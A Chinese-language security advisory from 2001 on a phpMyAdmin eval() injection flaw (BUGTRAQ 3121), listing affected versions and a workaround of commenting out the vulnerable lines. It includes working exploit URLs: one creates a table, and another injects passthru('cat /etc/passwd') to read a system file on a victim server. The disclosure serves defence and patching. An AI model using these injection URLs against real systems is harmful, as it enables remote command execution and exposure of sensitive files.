首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第24期->最新漏洞
期刊号: 类型: 关键词:
phpMyAdmin 执行任意命令漏洞

日期:2001-08-13

受影响的系统:  
phpMyAdmin phpMyAdmin 2.2rc3
phpMyAdmin phpMyAdmin 2.2rc2
phpMyAdmin phpMyAdmin 2.2rc1
phpMyAdmin phpMyAdmin 2.2pre1
phpMyAdmin phpMyAdmin 2.1.2
phpMyAdmin phpMyAdmin 2.1.1
phpMyAdmin phpMyAdmin 2.1
phpMyAdmin phpMyAdmin 2.0.5
phpMyAdmin phpMyAdmin 2.0.4
phpMyAdmin phpMyAdmin 2.0.3
phpMyAdmin phpMyAdmin 2.0.2
phpMyAdmin phpMyAdmin 2.0.1
phpMyAdmin phpMyAdmin 2.0
描述:
--------------------------------------------------------------------------------


BUGTRAQ ID : 3121


phpMyAdmin 是一个免费工具,为管理MySQL提供了一个WWW接口。

phpMyAdmin中存在一个输入验证错误,允许远程攻击者执行任意命令。攻击者可能获取
敏感信息或者以httpd运行身份执行任意命令。

问题处在'tbl_copy.php' 和 'tbl_rename.php'中的下列代码中:

  tbl_copy.php: eval("\$message = \"$strCopyTableOK\";");
tbl_rename.php: eval("\$message =  \"$strRenameTableOK\";");

如果用户可以控制$strCopyTableOK 或 $strRenameTableOK的内容,就可能利用eval()
执行任意代码。但是直接利用:

http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru('cat%20/etc/passwd')."

这样的URL并不能真正执行cat命令。这是因为在执行eval()函数之前,phpMyAdmin会检查
mysql请求是否正常返回,如果没有正常返回,程序会终止。因此,攻击者必须首先要有一个
允许创建表的数据库。攻击者可以使用下列URL来在"test"库中创建一个表(haxor):

http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy+integer+
primary+key+auto_increment&submit=1

这样攻击者就可以进行真正的攻击了:

http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&
strCopyTableOK=".passthru('cat%20/etc/passwd')."

<*来源:Carl Livitt (carl@ititc.com) *>



--------------------------------------------------------------------------------
建议:

临时解决方法:

在'tbl_copy.php' 和 'tbl_rename.php'中的问题行(包含eval函数的行)前面加
‘#’来注释调问题行。

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.phpwizard.net/projects/phpMyAdmin/

版权所有,未经许可,不得转载